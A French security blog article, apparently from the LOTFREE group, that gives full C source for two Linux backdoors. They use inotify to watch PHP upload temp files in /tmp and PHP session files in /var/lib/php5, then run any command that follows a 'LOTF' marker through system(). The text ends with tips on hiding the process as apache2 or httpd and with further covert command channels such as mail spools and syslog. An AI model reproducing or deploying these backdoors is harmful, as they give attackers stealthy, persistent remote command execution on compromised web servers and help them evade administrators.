Via une info sur d4n3wS nous avions relayé la découverte d'une technique pour exploiter plus facilement une faille include (ou require) PHP en se basant sur un script phpinfo. Le whitepaper de Insomnia Security expliquait en effet que chaque fois qu'on upload un fichier vers un script PHP, quelque soit le contenu du script, le système PHP stocke temporairement le fichier uploadé sur le serveur. Utilisé conjoitement, un script phpinfo présent sur le serveur facilite grandement l'exploitation d'un include local puisque dans les variables d'environnement il indiquera le path du fichier stocké temporairement.
La mise en oeuvre de cette exploitation n'est pas le sujet de cet article mais ce fonctionnement nous a donné l'idée d'une backdoor fonctionnant sur ce principe : puisqu'on peut envoyer des données sur le serveur aussi facilement (pour peu qu'il utilise PHP), pourquoi ne pas utiliser ce canal pour balancer des commandes ? :)
En plus c'est l'occasion d'utiliser les fonctions inotify introduites dans la version 2.6.13 du kernel Linux. Ces fonctions permettent d'être notifié des modifications sur le système de fichier comme des créations, suppressions ou renommages de fichiers.
Notre 1ère backdoor va surveiller tous les fichiers présents dans /tmp (là où les fichiers uploadés sont placés temporairement) et regarder s'il n'y a pas de création de fichier dont le nom commence par php (là encore c'est la config par défaut de php qui donne des noms du type phpXXXXXXX...). Plus précisemment on va filtrer les évènements du type fermeture d'un fichier après son écriture et intervenir à ce moment là.
Il y a plusieurs problèmes avec ce type de backdoor qui en feront peut-être plus un PoC qu'une porte dérobée prête à l'utilisation :
Pour que notre système fonctionne il faudra donc que la backdoor tourne en tant que wwwrun ou root. Il faudra uploader de gros fichiers pour obtenir quelque chose de récupérable (6Mo semble être une bonne quantité acceptée par défaut sous Apache). Il faudra vite placer un lock sur le fichier afin de lire le peu de données dispos avant la suppression.
C'est ce que s'occupe de faire le code qui suit :)
/* LOTFREE inotify / PHP upload Backdoor */ #define _BSD_SOURCE #include <sys/select.h> #include <sys/inotify.h> #include <unistd.h> #include <signal.h> #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <string.h> /** * gcc -o upload_watch upload_watch.c -lpthread -O2 -Wall -W -Werror -ansi -pedantic **/ int fd, wd; void * lire_fichier(void *fichier) { char buff[2048]; int cnt; int fdesc; struct flock lock; char *cmd; fdesc = open((char*)fichier, O_RDONLY); if(fdesc<1) pthread_exit(NULL); memset(&lock, 0, sizeof(lock)); lock.l_type = F_RDLCK; lock.l_whence = SEEK_SET; lock.l_start = 0; lock.l_len = 2048; if(fcntl(fdesc, F_SETLKW, &lock) != -1) { /* On s'en tient a 2048 octets */ cnt = read(fdesc, buff, 2048); if(cnt>4) { buff[cnt]='\0'; /* Si le contenu commence par LOTF */ if(!strncmp(buff, "LOTF", 4)) { cmd = buff + 4; /* On execute ce qui suit */ system(cmd); } } lock.l_type = F_UNLCK; if(fcntl(fdesc, F_SETLK, &lock) == -1) { printf("fcntl set err\n"); } } close(fdesc); pthread_exit(NULL); } int main(void) { size_t r; fd_set fds; char buffer[8192]; struct inotify_event *event; pthread_t monthread; /* Initialisation d'inotify */ fd = inotify_init(); if (fd < 0) { perror("inotify_init"); return EXIT_FAILURE; } /* Surveillance du répertoire /tmp et ses fichiers * On accepte tous les évènements possibles */ wd = inotify_add_watch(fd, "/tmp", IN_ALL_EVENTS); if (wd < 0) { perror("inotify_add_watch"); return EXIT_FAILURE; } if(daemon(1,0) < 0) { perror("daemon"); return EXIT_FAILURE; } while (1) { FD_ZERO(&fds); FD_SET(fd, &fds); if (select(fd + 1, &fds, NULL, NULL, 0) <= 0) { continue; } r = read(fd, buffer, sizeof(buffer)); if (r <= 0) { perror("read"); return EXIT_FAILURE; } event = (struct inotify_event *) buffer; /* Le nom des fichiers uploades commence normalement par php */ if (event->len > 3) { if(!strncmp(event->name, "php", 3)) { /* On intercepte a la fermeture du fichier */ if(event->mask & IN_CLOSE_WRITE) { pthread_create(&monthread, NULL, lire_fichier, (void *)event->name); } } } } pthread_exit(NULL); return EXIT_FAILURE; }
Notre seconde backdoor se base aussi sur PHP et inotify mais cette fois on ne s'occupe pas des fichiers temporaires d'upload mais des fichiers de session (cookies) stockés sur le serveur par PHP.
Les circonstances sont différentes : les fichiers sont moins temporaires et de taille plus petite. L'accès aux données présents dans ces fichiers est moins évident puisqu'il faut savoir quelles données sont stockées dans les sessions de l'appli PHP présente sur le serveur. Donc ça suppose que vous ayez accès au code source de l'appli (en cherchant des trucs du style $_SESSION['truc'] = données que vous contrôlez) ou que vous trouviez par déduction ou énumération...
Le path des fichiers de session est défini dans le php.ini par la variable session.save_path et sa valeur est généralement "/var/lib/php5" par défaut. Là encore il faut des droits wwwrun ou root.
/* LOTFREE inotify PHP session backdoor */ #define _BSD_SOURCE #include <sys/select.h> #include <sys/inotify.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <string.h> /** * gcc -o session_watch session_watch.c -lpthread -O2 -Wall -W -Werror -ansi -pedantic **/ #define SESSION_PATH "/var/lib/php5/" int fd, wd; void * lire_fichier(void *fichier) { char buff[4096]; int cnt; int fdesc; char *cmd; char *end; char *sess_path; cnt = strlen(SESSION_PATH) + strlen((char*)fichier); sess_path = (char*)malloc(cnt + 1); strcpy(sess_path, SESSION_PATH); strcat(sess_path, fichier); fdesc = open(sess_path, O_RDONLY); if(fdesc < 1) { free(sess_path); pthread_exit(NULL); } cnt = read(fdesc, buff, 4095); /* Il faut au moins 6 octets : LOTF*! */ if (cnt > 5) { buff[cnt] = '\0'; /* debut de la commande : LOTF */ cmd = strstr(buff, "LOTF"); if(cmd != NULL) { cmd += 4; /* se termine par ! */ end = strchr(cmd, 33); /* 33 = '!' */ if(end != NULL) { end[0] = '\0'; /* on execute */ system(cmd); } } } close(fdesc); free(sess_path); pthread_exit(NULL); } int main(void) { size_t r; fd_set fds; char buffer[8192]; struct inotify_event *event; pthread_t monthread; /* Initialisation d'inotify */ fd = inotify_init(); if (fd < 0) { perror("inotify_init"); return EXIT_FAILURE; } /* Surveillance du répertoire contenant les fichiers de session * On accepte tous les évènements possibles */ wd = inotify_add_watch(fd, SESSION_PATH, IN_ALL_EVENTS); if (wd < 0) { perror("inotify_add_watch"); return EXIT_FAILURE; } if(daemon(1,0)< 0) { perror("daemon"); return EXIT_FAILURE; } while (1) { FD_ZERO(&fds); FD_SET(fd, &fds); if (select(fd + 1, &fds, NULL, NULL, 0) <= 0) { continue; } r = read(fd, buffer, sizeof(buffer)); if (r <= 0) { perror("read"); return EXIT_FAILURE; } event = (struct inotify_event *) buffer; /* les fichiers sont habituellement du type "sess_etc....." */ if((event->len > 5) && (event->mask & IN_CLOSE_WRITE)) { pthread_create(&monthread, NULL, lire_fichier, (void *)event->name); } } pthread_exit(NULL); return EXIT_FAILURE; }
L'utilisation de ces backdoors peut-être difficile à mettre en oeuvre mais a toutefois un avantage : un admin qui pense être piraté ou qui vérifie juste son système cherchera plutôt des fichiers PHP suspects sur son serveur web, des ports en écoute ou des connexions sortantes vers des serveurs IRC... mais probablement pas un système de ce type. Pour peu que vous cachiez bien le processus (comme il est censé tourner en wwwrun, autant nommer l'exe apache2 ou httpd)
On vous donne quelques autres idées de fichiers sur lesquels peuvent se baser des backdoors inotify : logs apaches et logs sql (laissent des traces), spool mails (peut être sympa), ftp public (facile à mettre en oeuvre) ou partages samba/nfs, spool d'impression (nécessite probablement en accès réseau local) ou un syslog distant (/var/log/message) sur lequel on enverrait des commandes via logger ou netcat.